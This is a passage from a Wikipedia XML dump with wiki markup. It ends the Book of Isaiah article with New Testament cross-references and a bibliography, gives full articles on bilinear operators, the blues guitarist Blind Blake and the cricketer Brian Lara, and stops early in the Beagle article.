'''Is. 52:7''' 	 How beautiful upon the mountains 
		are the feet of the messenger who announces peace, 
	who brings good news, 
		who announces salvation, 
		who says to Zion, “Your God reigns.”

::''Rom. 10:15 And how are they to proclaim him unless they are sent? As it is written, “How beautiful are the feet of those who bring good news!”''

'''Is. 52:11''' 	 Depart, depart, go out from there! 
		Touch no unclean thing; 
	go out from the midst of it, purify yourselves, 
		you who carry the vessels of the LORD.

::''2 Cor. 6:17 	Therefore come out from them, and be separate from them, says the Lord, and touch nothing unclean; then I will welcome you,''

'''Is. 52:15''' 	so he shall startle many nations; 
		kings shall shut their mouths because of him; 
	for that which had not been told them they shall see, 
		and that which they had not heard they shall contemplate.

::''Rom. 15:21 but as it is written, “Those who have never been told of him shall see, and those who have never heard of him shall understand.”''

'''Is. 53:1''' 	Who has believed what we have heard? 
		And to whom has the arm of the LORD been revealed?

::''John 12:38 This was to fulfill the word spoken by the prophet Isaiah: “Lord, who has believed our message, and to whom has the arm of the Lord been revealed?”''

::'' Rom. 10:16 But not all have obeyed the good news; for Isaiah says, “Lord, who has believed our message?” ''

'''Is. 53:4''' 	 Surely he has borne our infirmities 
		and carried our diseases; 
	yet we accounted him stricken, 
		struck down by God, and afflicted.

::''Matt. 8:17 This was to fulfill what had been spoken through the prophet Isaiah, “He took our infirmities and bore our diseases.”''

::''1 Pet. 2:24 He himself bore our sins in his body on the cross, so that, free from sins, we might live for righteousness; by his wounds you have been healed.''

'''Is. 53:7''' 	 He was oppressed, and he was afflicted, 
		yet he did not open his mouth; 
	like a lamb that is led to the slaughter, 
		and like a sheep that before its shearers is silent, 
		so he did not open his mouth.

::''Acts 8:32 Now the passage of the scripture that he was reading was this:  “Like a sheep he was led to the slaughter, and like a lamb silent before its shearer, so he does not open his mouth.'' 

'''Is. 53:9''' 	They made his grave with the wicked 
		and his tomb with the rich, 
	although he had done no violence, 
		and there was no deceit in his mouth.
 
::''1 Pet. 2:22 	“He committed no sin, and no deceit was found in his mouth.”''

'''Is. 53:12''' 	Therefore I will allot him a portion with the great, 
		and he shall divide the spoil with the strong; 
	because he poured out himself to death, 
		and was numbered with the transgressors; 
	yet he bore the sin of many, 
		and made intercession for the transgressors.

::''Luke 22:37 For I tell you, this scripture must be fulfilled in me, ‘And he was counted among the lawless’; and indeed what is written about me is being fulfilled.”''

'''Is. 54:1''' 	 Sing, O barren one who did not bear; 
		burst into song and shout, 
		you who have not been in labor! 
	For the children of the desolate woman will be more 
		than the children of her that is married, says the LORD.

::''Gal. 4:27 For it is written, “Rejoice, you childless one, you who bear no children, burst into song and shout, you who endure no birthpangs; for the children of the desolate woman are more numerous than the children of the one who is married.”''

'''Is. 54:13''' 	All your children shall be taught by the LORD, 
		and great shall be the prosperity of your children.

::''John 6:45 It is written in the prophets, ‘And they shall all be taught by God.’ Everyone who has heard and learned from the Father comes to me.''

'''Is. 55:3''' 	Incline your ear, and come to me; 
		listen, so that you may live. 
	I will make with you an everlasting covenant, 
		my steadfast, sure love for David.

::''Acts 13:34 As to his raising him from the dead, no more to return to corruption, he has spoken in this way, ‘I will give you the holy promises made to David.’''

'''Is. 55:10''' 	 For as the rain and the snow come down from heaven, 
		and do not return there until they have watered the earth, 
	making it bring forth and sprout, 
		giving seed to the sower and bread to the eater,

::''2 Cor. 9:10 He who supplies seed to the sower and bread for food will supply and multiply your seed for sowing and increase the harvest of your righteousness.''

==Online translations and commentaries on the Book of Isaiah== 
*[[Judaism|Jewish]] translations:
** [http://www.mechon-mamre.org/p/pt/pt1001.htm Isaiah] ([[Hebrew language|Hebrew]]) side-by-side with [[English language|English]]
** [http://www.chabad.org/library/archive/LibraryArchive2.asp?AID=15756] Yirmiyahu - Isaiah - Yeshayahu [Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org
**[http://www.breslov.com/bible/Isaiah.htm Breslov Yisheyah] Audio and [[Hebrew language|Hebrew]] 
*[[Christian]] translations:
**[http://www.anova.org/sev/htm/hb/23_isaiah.htm at The Great Books] (New Revised Standard Version)
**{{biblegateway||Isaiah}}
**[http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Isaiah  Isaiah at Wikisource] (Authorised King James Version)
*[[Arabic language|Arabic]] translations:
** [http://st-takla.org/pub_oldtest/23_jesa.html Arabic translation of the Book of Isaiah at St-Takla.org]

== Bibliography ==
*[http://jeru.huji.ac.il/eb33s.htm The Prophet Isaiah and Jerusalem]

Allis, Oswald. &quot;The Unity of Isaiah.&quot;  The Presbyterian and Reformed Publishing Co., Philadelphia, 1950.

[[Brueggemann, Walter]].  &quot;Isaiah 1-39.&quot;  Louisville: Westminster John Knox Press, 1998.

[[Brueggemann, Walter]].  &quot;Isaiah 40-66.&quot;  Louisville: Westminster John Knox Press,  1998.

Grogan, G. W.  &quot;Isaiah.&quot;  Published in  &quot;The Expositor's Bible Commentary, Vol. 6,&quot; Frank E. Gaebelein, ed.  Grand Rapids: Zondervan, 1986.

[[Abraham Joshua Heschel|Heschel, Abraham]].  &quot;The Prophets, Vol. 1.&quot;  Toronto: Harper Torchbooks, 1975.

Koole, Jan.  &quot;Isaiah III.&quot;  Belgium: Leuven, 2001.

McDonald, Lee, &amp; Sanders, James (Eds).  &quot;The Canon Debate.&quot;   Peabody: Hendrickson Publishers,  2002.

Thomas, Derek. &quot;God delivers - Isaiah simply explained.&quot; Darlington: Evangelical Press, 1991.

Whybray, R.  &quot;The Second Isaiah.&quot;  Sheffield: JSOT Press, 1983.

Widyapranawa, S. H.  &quot;Isaiah 1-29: The Lord is Savior - Faith in National Crisis.&quot;  Grand Rapids: Wm. B. Eerdmans Publishing Co., 1990.

Williamson, H.G.M., ''The Book Called Isaiah'', Oxford: Oxford University Press, 1994.

Young, Edward J. &quot;The Book of Isaiah - Chapters 1 to 18.&quot; Grand Rapids: Wm. B. Eerdmans Publishing Co., 1965.

Young, Edward J. &quot;The Book of Isaiah - Chapters 19 to 39.&quot; Grand Rapids: Wm. B. Eerdmans Publishing Co., 1969.

Young, Edward J. &quot;The Book of Isaiah - Chapters 40 to 66.&quot; Grand Rapids: Wm. B. Eerdmans Publishing Co., 1972.



Bibliography based on one prepared in 2005 for the course BIBL5023 at [[Acadia Divinity College]].


{{Eastons}} 
{{JewishEncyclopedia}}

== Popular culture references ==
* [[All Along the Watchtower]], a [[1967]] song composed by [[Bob Dylan]] with lyrics generally regarded as partly inspired by Isaiah 21:8-9.

[[Category:Nevi'im|Isaiah, Book of]]
[[Category:Old Testament books|Isaiah]]
[[Category:Tanakh prophets|Isaiah]]

[[cs:Kniha Izajáš]]
[[de:Buch Jesaja]]
[[fi:Jesajan kirja]]
[[fr:Livre d'Ésaïe]]
[[he:ספר ישעיהו]]
[[id:Yesaya]]
[[ja:イザヤ書]]
[[jv:Yesaya]]
[[ko:이사야 (구약성서)]]
[[nl:Jesaja]]
[[pl:Księga Izajasza]]
[[pt:Livro de Isaías]]
[[sv:Jesaja]]
[[zh:以賽亞書]]</text>
    </revision>
  </page>
  <page>
    <title>Bilinear operator</title>
    <id>4365</id>
    <revision>
      <id>41630591</id>
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      <contributor>
        <username>MFH</username>
        <id>177840</id>
      </contributor>
      <comment>reverted last change: writing the vector not like the scalar makes the explanation understandable; notation is also used below on the page</comment>
      <text xml:space="preserve">In [[mathematics]], a '''bilinear operator''' is a generalized &quot;multiplication&quot; which satisfies the [[distributive law]].

==Definition==

For a formal definition, given three [[vector space]]s ''V'', ''W'' and ''X'' over the same base [[field (mathematics)|field]] ''F'', a bilinear operator is a [[function (mathematics)|function]]
:''B'' : ''V'' &amp;times; ''W'' &amp;rarr; ''X''
such that for any ''w'' in ''W'' the map
:&lt;math&gt;v \mapsto B(v, w)&lt;/math&gt;
is a [[linear operator]] from ''V'' to ''X'', and for any ''v'' in ''V'' the map
:&lt;math&gt;w \mapsto B(v, w)&lt;/math&gt;
is a linear operator from ''W'' to ''X''. In other words, if we hold the first entry of the bilinear operator fixed, while letting the second entry vary, the result is a linear operator, and similarly if we hold the second entry fixed.

If ''V'' = ''W'' and we have ''B''(''v'',''w'')=''B''(''w'',''v'') for all ''v'',''w'' in ''V'', then we say that ''B'' is ''[[symmetric function|symmetric]]''.

The case where ''X'' is ''F'', and we have a '''[[bilinear form]]''', is particularly useful (see for example [[scalar product]], [[inner product]] and [[quadratic form]]).

The definition works without any changes if instead of vector spaces we use [[module (mathematics)|modules]] over a [[commutative ring]] ''R''. It also can be easily generalized to ''n''-ary functions, where the proper term is ''multilinear''.

For the case of a non-commutative base ring ''R'' and a right module ''M&lt;sub&gt;R&lt;/sub&gt;'' and a left module ''&lt;sub&gt;R&lt;/sub&gt;N'', we can define a bilinear operator ''B'' : ''M'' &amp;times; ''N'' &amp;rarr; ''T'', where ''T'' is a commutative [[group (mathematics)|group]], such that for any ''n'' in ''N'', ''m'' &lt;tt&gt;|-&gt;&lt;/tt&gt; ''B''(''m'', ''n'') is a group homomorphism, and for any ''m'' in ''M'', ''n'' &lt;tt&gt;|-&gt;&lt;/tt&gt; ''B''(''m'', ''n'') is a group homomorphism, and which also satisfies

:''B''(''mr'', ''n'') = ''B''(''m'', ''rn'')

for all ''m'' in ''M'', ''n'' in ''N'' and ''r'' in ''R''.

==Properties==

A first immediate consequence of the definition is that &lt;math&gt;B(x,y)=o&lt;/math&gt;
whenever ''x''=o or ''y''=o. (This is seen by writing the [[null vector]] ''o'' as 0·''o'' and moving the scalar 0 &quot;outside&quot;, in front of ''B'', by linearity.)

The set ''L(V,W;X)''of all bilinear maps is a [[linear subspace]] of the space ([[viz]] [[vector space]], [[module (mathematics)|module]]) of all maps from ''V''×''W'' into ''X''.

If ''V'',''W'',''X'' are [[finite-dimensional]], then so is ''L(V,W;X)''. For ''X=F'', i.e. bilinear forms, the dimension of this space is dim''V''×dim''W'' (while the space ''L(V×W;K)'' of ''linear'' forms is of dimension dim''V''+dim''W''). To see this, choose a [[Basis (linear algebra)|basis]] for ''V'' and ''W''; then each bilinear map can be uniquely represented by the matrix &lt;math&gt;B(e_i,f_j)&lt;/math&gt;, and vice versa. 
Now, if ''X'' is a space of higher dimension, we obviously have dim''L(V,W;X)''=dim''V''×dim''W''×dim''X''.

== Examples ==

* [[matrix_(mathematics)|Matrix multiplication]] is a bilinear map M(''m'',''n'') &amp;times; M(''n'',''p'') &amp;rarr; M(''m'',''p''). 
* If a [[vector space]] ''V'' over the [[real number]]s '''R''' carries an [[inner product space|inner product]], then the inner product is a bilinear operator ''V'' &amp;times; ''V'' &amp;rarr; '''R'''.
* In general, for a vector space ''V'' over a field ''F'', a [[bilinear form]] on ''V'' is the same as a bilinear operator ''V'' &amp;times; ''V'' &amp;rarr; ''F''. 
* If ''V'' is a vector space with [[dual space]] ''V*'', then the application operator, ''b''(''f'', ''v'') = ''f''(''v'') is a bilinear operator from ''V''* &amp;times; ''V'' to the base field.
* Let ''V'' and ''W'' be vector spaces over the same base field ''F''. If ''f'' is a member of ''V''* and ''g'' a member of ''W''*, then ''b''(''v'', ''w'') = ''f''(''v'')''g''(''w'') defines a bilinear operator ''V'' &amp;times; ''W'' &amp;rarr; ''F''.
* The [[cross product|cross product]] in '''R'''&lt;sup&gt;3&lt;/sup&gt; is a bilinear operator '''R'''&lt;sup&gt;3&lt;/sup&gt; &amp;times; '''R'''&lt;sup&gt;3&lt;/sup&gt; &amp;rarr; '''R'''&lt;sup&gt;3&lt;/sup&gt;.
* Let ''B'' : ''V'' &amp;times; ''W'' &amp;rarr; ''X'' be a bilinear operator, and ''L'' : ''U'' &amp;rarr; ''W'' be a [[linear operator]], then (''v'', ''u'') &amp;rarr; ''B''(''v'', ''Lu'') is a bilinear operator on ''V'' &amp;times; ''U''
* The [[zero function|null map]], defined by &lt;math&gt;B(v,w) = o&lt;/math&gt; for all (''v'',''w'') in ''V''×''W'' is the only map from ''V''×''W'' to ''X'' which is bilinear and linear at the same time. Indeed, if (''v,w'')&amp;isin;''V''×''W'', then if ''B'' is linear, &lt;math&gt;B(v,w)= B(v,o)+B(o,w)=o+o&lt;/math&gt; if ''B'' is bilinear.

==See also==
* [[Tensor product]]
* [[Multilinear map]]
* [[Sesquilinear form]]

[[Category:Multilinear algebra]]

[[de:Bilinearform]]
[[he:&amp;#1514;&amp;#1489;&amp;#1504;&amp;#1497;&amp;#1514; &amp;#1489;&amp;#1497;&amp;#1500;&amp;#1497;&amp;#1504;&amp;#1488;&amp;#1512;&amp;#1497;&amp;#1514;]]</text>
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  <page>
    <title>Blind Blake</title>
    <id>4366</id>
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      <contributor>
        <username>Revolución</username>
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      </contributor>
      <comment>[[Category:Jacksonvillians]]</comment>
      <text xml:space="preserve">[[Image:blindblake.jpg|thumb|230px|right|Blind Blake]]

''' &quot;Blind&quot; Blake''' (born Arthur Blake, circa [[1893]], [[Jacksonville, Florida]];  died: circa [[1933]]) was an influential [[blues]] singer and [[guitarist]]. He is often called &quot;The King Of Ragtime Guitar&quot;.

Blind Blake recorded about 80 tracks for [[Paramount Records]] in the late [[1920s]] and early [[1930s]]. He was one of the most accomplished [[guitar]]ists of his genre with a surprisingly diverse range of material. His complex and intricate fingerpicking has inspired [[Reverend Gary Davis]], [[Jorma Kaukonen]], [[Ry Cooder]], [[Ralph Mctell]] and many others. He is most known for his distinct guitar sound that was comparable in sound and style to a [[ragtime]] piano.

Very little is known about his life. His birthplace was listed as Jacksonville, Florida by Paramount Records but even that is in dispute. Nothing is known of his death. Even his name is not certain. The copyright submissions for his songs use some variation on '''Blind Arthur Blake''' although there is a suggestion that his real name was '''Arthur Phelps'''.

His first recordings were made in [[1926]] and his records sold well. His first solo record was ''Early Morning Blues'' with ''West Coast Blues'' on the B-side. Both are excellent examples of his style. Blake made his last recordings in 1932, the end of his career aided by Paramount's bankruptcy. It is often said that the later recordings have much less sparkle and, allegedly, Blind Blake was drinking heavily in his later years. It is likely that this lead to his early death.

It should be noted that on a few records where white jazz guitarist [[Eddie Lang]] sat in with [[African American]] groups, the [[record label|record companies]] listed Lang as &quot;Blind Blake&quot;. Most of those recordings, principally with Lonnie Johnson gave Lang the name Blind Willy Dunn. 

There is only one photograph of Blind Blake in existence.

[[Category:1893 births|Blake, Blind]]
[[Category:1933 deaths|Blake, Blind]]
[[Category:African American musicians|Blake, Blind]]
[[Category:American blues singers|Blake, Blind]]
[[Category:American guitarists|Blake, Blind]]
[[Category:American male singers|Blake, Blind]]
[[Category:Blind musicians|Blake, Blind]]
[[Category:Jacksonvillians|Blake, Blind]]
[[de:Blind Blake]]</text>
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  <page>
    <title>Brian Lara</title>
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      <comment>fix ungrammatical edits</comment>
      <text xml:space="preserve">{{Infobox Cricketer |
flag = West_Indies_Cricket_Board_Flag.png |
nationality = West Indian |
country = West Indies |
country abbrev = WI |
name = Brian Lara |
picture = cricket_no_pic.png |
batting style = Left-handed batsman (LHB) |
bowling style = [[leg spin|leg break]] [[googly]] (LBG) |
tests =  121 |
test runs = 11204 |
test bat avg = 53.86 |
test 100s/50s = 31/46 |
test top score = 400* |
test overs = 10 |
test wickets = 0 |
test bowl avg = ''n/a'' |
test 5s = 0 |
test 10s = 0 |
test best bowling = ''n/a'' |
test catches/stumpings = 148/0 |
ODIs = 259 |
ODI runs = 9359 |
ODI bat avg = 41.41 |
ODI 100s/50s = 19/57 |
ODI top score = 169 |
ODI overs = 8.1 |
ODI wickets = 4 |
ODI bowl avg = 15.25 |
ODI 5s = 0 |
ODI best bowling = 2/5 |
ODI catches/stumpings = 148/0 |
date = 29 November |
year = 2005 |
source = http://www.cricinfo.com/link_to_database/PLAYERS/WI/L/LARA_BC_04001982/
}}
'''Brian Charles Lara''' (born [[May 2]], [[1969]]) ([[List of nicknames used in cricket|nicknamed]] &quot;The Prince&quot;} is a [[West Indian cricket team|West Indian]] [[cricketer]]. Lara is acknowledged as one of the world's greatest [[Batsman|batsmen]], having several times topped the [[Test cricket|Test]] batting [[LG ICC cricket ratings|rankings]] and being the current world record holder for the [[List of Test cricket triple centuries|highest individual innings score]].

Lara has shown an almost unparalleled ability to build massive [[innings]], and holds several world records for high scoring. He has the highest individual score in both [[first-class cricket]] (501 [[not out]] for [[Warwickshire County Cricket Club|Warwickshire]] against [[Durham County Cricket Club|Durham]] in 1994) and [[Test cricket]] (400 not out for the [[West Indian cricket team|West Indies]] against [[English cricket team|England]] in 2004). He also holds the record for the highest total number of runs in a Test career, after overtaking [[Allan Border]] in November 2005. He is the only man to have reclaimed the Test record score, having scored 375 against England in 1994, a record that stood until [[Matthew Hayden]]'s 380 against [[Zimbabwean cricket team|Zimbabwe]] in 2003. His 400 not out also made him the second player after [[Donald Bradman|Don Bradman]] to score two Test triple-centuries, and the second after [[Bill Ponsford]] to score two first-class quadruple-centuries.  He has scored eight double centuries in Test cricket, second only to Bradman's twelve.

Lara captained the West Indies from [[1997]] to [[1999]]. He was reappointed as captain against the touring [[Australian cricket team|Australians]] in [[2003]], and struck 110 in his first Test match back in charge, showing signs of him returning to his best. In September 2004, West Indies won the ICC Champions Trophy in England under his captaincy and seemed to have finally started their comeback from years of poor performance.

In March 2005, Lara, along with six other senior players, was dropped by the West Indies Cricket Board from the West Indies team over their personal [[Cable &amp; Wireless (Caribbean)|Cable &amp; Wireless]] sponsorship deals, which clashed with the Cricket Board's main sponsor, [[Digicel]]. The issue was resolved after the first Test of the series against the touring [[South African cricket team|South African team]]. Lara returned to the team for the second Test (and scored a huge first innings score of 196), but in the process lost his captaincy indefinitely to the newly-appointed [[Shivnarine Chanderpaul]]. In the next Test, against the same opponents,  he scored a majestic 176 in the first innings, which was hailed by many as one of his best innings in recent years. After an indifferent one day series against South Africa, he once again established himself as one of the leading batsmen of the modern era when he scored his first Test century against the visiting Pakistanis in the first Test at [[Kensington Oval]], [[Bridgetown]], [[Barbados]].

==Biography==
Brian was born in Cantaro, [[Santa Cruz, Trinidad and Tobago|Santa Cruz]], [[Trinidad and Tobago]]. He is 10th in a family of 11 children. His dad Bunty Lara passed away in 1988. His mother Pearl Lara suffered from cancer and died in January 2002. He is also the father of an eight-year-old daughter called Sydney with Trinidadian model [[Leasel Rovedas]].

From an early age, Lara showed precocious talent. His father Bunty and one of his older sisters were first to recognize young Brian's exceptional batting talents and enrolled him in the local Harvard Coaching Clinic only at the age of six for weekly coaching sessions on Sundays. As a result, Lara had a very early education in proper batting techniques. 

Lara's first school was St. Josephs Roman Catholic primary. Then he went to San Juan secondary, but played no cricket there. A year later, fourteen years old, he moved on to Fatima College. He moved in with his fellow Trinidadian Test player [[Michael Carew]] in [[Woodbrook, Trinidad and Tobago|Woodbrook]], [[Port of Spain]] (a 20 minute drive from Santa Cruz). Michael's dad [[Joey Carew]] was very instrumental in his cricketing &amp; personal career development. Michael got Lara his first job at the [[House of Angostura|Angostura Ltd.]] in Marketing department. Lara played in Trinidad and Tobago junior soccer and table tennis sides, but cricket was always the path to recognition in Trinidad in those times. Lara wanted to emulate his idols: [[Gordon Greenidge]], [[Viv Richards]] and the left-handed [[Roy Fredericks]].

Lara began his cricket career while at school in Fatima College. When he was 14, he played in the under-16 and First Divisions of national schoolboys' cricket. He amassed 745 runs in the schoolboys' league that year at an astounding average of 126.16 per innings. Immediately afterwards he was selected for the Trinidad national under-16 team. When he was 15 years old, he played in his first West Indian under 19 youth tournament. In [[1984]], Lara represented West Indies in Under-19 Test Cricket. 1987 was a breakthrough year for Lara, when he broke the West Indies youth batting record. In January, [[1988]], Lara made his first-class debut for Trinidad and Tobago in the Red Stripe Cup against Barbados. The Bajan attack contained [[Joel Garner]] and [[Malcolm Marshall]]. Lara batted nearly a full day and made 92. Later in the same year, he captained the West Indies team in Australia for the Bicentennial Youth World Cup. His innings of 182 as captain of the West Indies under 23 XI against the 1988-89 Indians elevated Lara's reputation even further. He was selected for the Port of Spain Test of that season. He did not play, however, and at the same time suffered the personal setback of the death of his father. In 1989, he captained West Indies B Team in Zimbabwe and scored 145 for the West Indies 'B' team in Zimbabwe, a side that included several players with Test experience. In 1990, at the age of 20, Lara became Trinidad and Tobago's youngest ever captain and won the one-day Geddes Grant Shield. It was also in 1990 that he made his Test debut for West Indies against Pakistan, scoring 44 &amp; 6.

Lara loves carnivals, Chinese &amp; Italian foods, and is known to be a practical jokester.

==Career highlights==
[[Image:Brian Lara Graph.png|right|thumb|350px|Brian Lara's career performance graph.]]
*Lara showed his talent in his 5th Test, striking 277 runs against Australia in [[Sydney Cricket Ground|Sydney]], his maiden Test century. It remains the fourth highest maiden Test century by any batsman. [http://www.cricinfo.com/db/STATS/TESTS/BATTING/HIGHEST_MAIDEN_TONS.html]. It was also the highest individual score in all Tests between the two  teams, the fourth-highest ever recorded against Australia.
*He became the first man to score seven centuries in eight first-class innings, the first being the historic record 375 against England and the last being the record 501 not out against Durham.
*After Matthew Hayden had eclipsed his Test record 375 by five runs in 2003, he reclaimed the record &amp;mdash; a unique feat &amp;mdash; scoring 400 not out in 2004. With this innings he became the second player to score two Test 300s, the second player to score two career 400s, the only player to achieve both these milestones, and regained the distinction of being the holder of both the record first-class individual innings and the record Test individual innings.
*He is the all-time leading run scorer in Test cricket, a record he attained on [[26 November]] [[2005]]. [http://www.cricinfo.com/db/STATS/TESTS/BATTING/TEST_BAT_MOST_RUNS.html]
*In the same innings, he became the second batsman to score 1000 Test runs in five different years, four days after [[Matthew Hayden]] first set the record.
* He was the fastest batsmen to 9,000, 10,000 and 11,000 Test runs, in terms of number of innings. [http://www.cricinfo.com/db/STATS/TESTS/BATTING/FASTEST_CAREER_TEST_RUNS/]
*He has (as of November 2005) scored 31 centuries (the most for a West Indian and 4th for all Test cricket [http://www.cricinfo.com/db/STATS/TESTS/BATTING/LEADING_BATSMEN_TEST_100S.html]), of which eight are double centuries (surpassed only by Bradman [http://usa.cricinfo.com/db/STATS/TESTS/BATTING/LEADING_BATSMEN_TEST_200S.html]) and two triple-centuries (matched only by Bradman [http://www.cricinfo.com/db/STATS/TESTS/BATTING/LEADING_BATSMEN_TEST_300S.html]). He has scored centuries against all Test-playing nations. 
*Lara fought many lone battles as the West Indies collective batting strength slumped over the years. He has scored an astonishing 20% of his team runs [http://content-uk.cricinfo.com/ausvwi/content/story/227320.html], a feat surpassed only by Bradman (23%) and [[George Headley]] (21%). Lara scored 688 runs (a record 42% of team output and the second highest aggregate runs in history for a three-Test series) in the 2001-02 tour of [[Sri Lanka]] [http://www.cricinfo.com/db/STATS/TESTS/BATTING/HI_AGG_RUNS_IN_SERIES.html]. 
*He also scored a century and a double century in the third Test in that same Sri Lanka tour, a feat repeated only five other times in Test cricket history [http://www.cricinfo.com/db/STATS/TESTS/BATTING/100_EACH_INNS_TEST.html].
*A devastating batsman when in form, Lara holds the world record of scoring most runs (28) in a single [[over (cricket)|over]] in Test cricket [http://www.cricinfo.com/db/STATS/TESTS/BATTING/TEST_BAT_MOST_RUNS_OVER.html].
*He is fourth all-time in the category of most catches in a career by a non-Wicketkeeper [http://www.cricinfo.com/db/STATS/TESTS/FIELDING/CATCHES_CAREER.html]. 
*In 1994, he was awarded the [[BBC Sports Personality of the Year Overseas Personality]] Award. In 1995, he was chosen as one of the [[Wisden Cricketers of the Year]].
*Comfortably [[batting average|averaging]] over 50 per innings (the benchmark for batting greatness in Test cricket), Lara has often been ranked the number one batsman in Test cricket according to the [[PricewaterhouseCoopers]] Cricket Ratings [http://www.pwcratings.com].
*Lara has played some of the most brilliant innings in recent years. [[Wisden]] published a top 100 list in July 2001, a distillation of the best performances from 1,552 Tests, 54,494 innings and 29,730 bowling performances. Three innings by Lara were placed in the top 15 [http://www.rediff.com/cricket/2001/jul/30bat100.htm]. His heroic 153 not out in [[Bridgetown, Barbados]], during West Indies' 2-2 home series draw against Australia in *[[1998]]-[[1999]] was deemed the second greatest Test innings ever played, behind Bradman's 270 against England in the Third Test of the [[1936]]-[[1937]] series at [[Melbourne cricket ground|Melbourne]]. On [[13 October]], [[2003]], PricewaterhouseCoopers Ratings team published a list of top innings since 1990 under their own methodology.  Lara's 213 against Australia in [[Kingston, Jamaica]] in [[1999]] came out to be the top innings. His 375 was placed 8th and his three other innings, including the 153 not out, were not far behind.

==Batting average==
Lara's [[Batting average|batting average]] in [[Test cricket|Tests]] is over 54 an innings and in [[One-day International]]s he averages over 42 an innings at a strike rate (number of runs scored per 100 balls) of close to 80. The following four graphs show his Test batting average over the years in four chronological sections:

&lt;center&gt;
&lt;gallery&gt;
Image:Lara_Career_Graph_1.gif|The beginning
Image:Lara_Career_Graph_2.gif|First drop 
Image:Lara_Career_Graph_3.gif|Second drop
Image:Lara_Career_Graph_4_(revised).gif|The rise
&lt;/gallery&gt;
&lt;/center&gt;

#The beginning: his first 55 Test innings, from December 1990 to April 1996, with an average of 60.32
#The first drop of his batting form: innings #56 to #103, November 1996 to March 1999, with an average of 36.00
#Then second drop of his batting form: innings #108 to #138, April 1999 to April 2001, with an average of 30.58
#The rise of his form in recent years: innings #139 to #197, April 2001 to August 2004, with an average of 64.93

==Trivia==
In a 1994 [[Donald Bradman|Bradman]] Foundation charity match, Lara was famously dismissed by Australian women's cricket team all-rounder, [[Zoe Goss]].

{{West Indian batsman with a Test batting average over 50}}

{{start box}}
{{succession box |
 before=[[Courtney Walsh]] | 
 title=[[West Indian national cricket captains#Test match captains|West Indies Test cricket captains]] |
 years=[[1996]]/[[1997|7]]-[[1999]]/[[2000]] |
 after=[[Jimmy Adams]] | 
}}
{{succession box |
 before=[[Carl Hooper]] | 
 title=[[West Indian national cricket captains#Test match captains|West Indies Test cricket captains]] |
 years=[[2002]]/[[2003|3]]-[[2004]] |
 after=[[Shivnarine Chanderpaul]] | 
}}
{{end box}}

==See also==
* ''[[Brian Lara International Cricket 2005]]
* ''[[Brian Lara Cricket]]

:''For more coverage of cricket, go to the [[Portal:Cricket|Cricket portal]].''

==External links==
* [http://usa.cricinfo.com/link_to_database/PLAYERS/WI/L/LARA_BC_04001982/ Cricinfo Profile]
* [http://www.howstat.com.au/cricket/Statistics/Players/PlayerOverview.asp?PlayerID=0979 Brain Lara's Test Statistics (by HowSTAT!)]
* [http://www.howstat.com.au/cricket/Statistics/Players/PlayerOverview.asp?PlayerID=0979 Brain Lara's One Day International Statistics (by HowSTAT!)]
* [http://www.blconline.net/ Brian Lara Cricket Online - Lara's Official Game]

[[Category:1969 births|Lara, Brian]]
[[Category:ICC World XI ODI cricketers|Lara, Brian]]
[[Category:Living people|Lara, Brian]]
[[Category:Northern Transvaal cricketers|Lara, Brian]]
[[Category:Trinidad and Tobago cricketers|Lara, Brian]]
[[Category:Warwickshire cricketers|Lara, Brian]]
[[Category:West Indian ODI cricketers|Lara, Brian]]
[[Category:West Indian Test cricketers|Lara, Brian]]
[[Category:West Indian batsmen|Lara, Brian]]
[[Category:West Indian cricket captains|Lara, Brian]]
[[Category:West Indian cricketers|Lara, Brian]]
[[Category:Wisden Cricketers of the Year|Lara, Brian]]
[[Category:World XI Test cricketers|Lara, Brian]]</text>
    </revision>
  </page>
  <page>
    <title>Beagle</title>
    <id>4368</id>
    <revision>
      <id>42074393</id>
      <timestamp>2006-03-03T17:22:32Z</timestamp>
      <contributor>
        <username>Uvaduck</username>
        <id>266284</id>
      </contributor>
      <minor />
      <comment>/* Working life */</comment>
      <text xml:space="preserve">:''This article is about the dog breed; for other meanings of Beagle see [[Beagle (disambiguation)]].''

&lt;!-- Begin Infobox Dogbreed.  The text of the article should go AFTER this section. See: --&gt;
&lt;!-- http://en.wikipedia.org/wiki/Wikipedia:WikiProject_Dog_breeds#Infobox_Dogbreed_template --&gt;
&lt;!-- for full explanation of the syntax used in this template. --&gt;
{{Infobox Dogbreed
| image = Beagle 600.jpg
| image_caption = A tri-color Beagle.
| name = Beagle
| altname = English Beagle
| country = [[United Kingdom]]
| fcigroup = 6
| fcisection = 1
| fcinum = 161
| fcistd = http://www.google.com/search?q=cache:THL_ceL-FykJ:www.fci.be/uploaded_files/161gb2000_en.doc+site:www.fci.be+%22161+/+24.+07.+2000%22&amp;hl=en&amp;ie=UTF-8
| akcgroup = Hound
| akcstd = http://www.akc.org/breeds/beagle/index.cfm
| ankcgroup = Group 4 (Hounds)
| ankcstd = http://www.ankc.aust.com/beagle.html
| ckcgroup = Group 2 - Hounds
| ckcstd = http://www.ckc.ca/Default.aspx?tabid=137&amp;Breed_Code=BAL
| kcukgroup = Hound
| kcukstd = http://www.the-kennel-club.org.uk/discoverdogs/hound/h770.htm
| nzkcgroup = Hounds
| nzkcstd = http://www.nzkc.org.nz/br416.html
| ukcgroup = Scenthound Breeds
| ukcstd = http://mail.ukcdogs.com/UKCweb.nsf/80de88211ee3f2dc8525703f004ccb1e/78e507f1bb23b06b8525704c0052462a?OpenDocument
}}
&lt;!-- End Infobox Dogbreed info. Article Begins Here --&gt;

A '''Beagle''' is a medium-sized [[dog]] breed and a member of the [[hound]] group, similar in appearance to a [[Foxhound]] but smaller with shorter legs, and with longer, softer [[ear]]s. Beagles are scent hounds used primarily for hunting rabbits to larger hares.

== Appearance ==
The Beagle has a somewhat oval [[skull]]; a medium-length, square-cut [[muzzle]]; large, hound-like [[hazel (color)|hazel]] or [[brown]] [[eye]]s; long, low-set ears (big), turning towards the [[cheek]]s slightly and rounded at the tips; a medium-length, strong [[neck]] without folds in the [[skin]]; a broad [[chest]] narrowing to a tapered [[abdomen]] and [[waist]]; a short, slightly curved [[tail]]; an overall muscular body; and a medium-length, smooth, hard coat. One standard calls for ideally shaped beagles to be twice as long as tall, and twice as tall as wide.

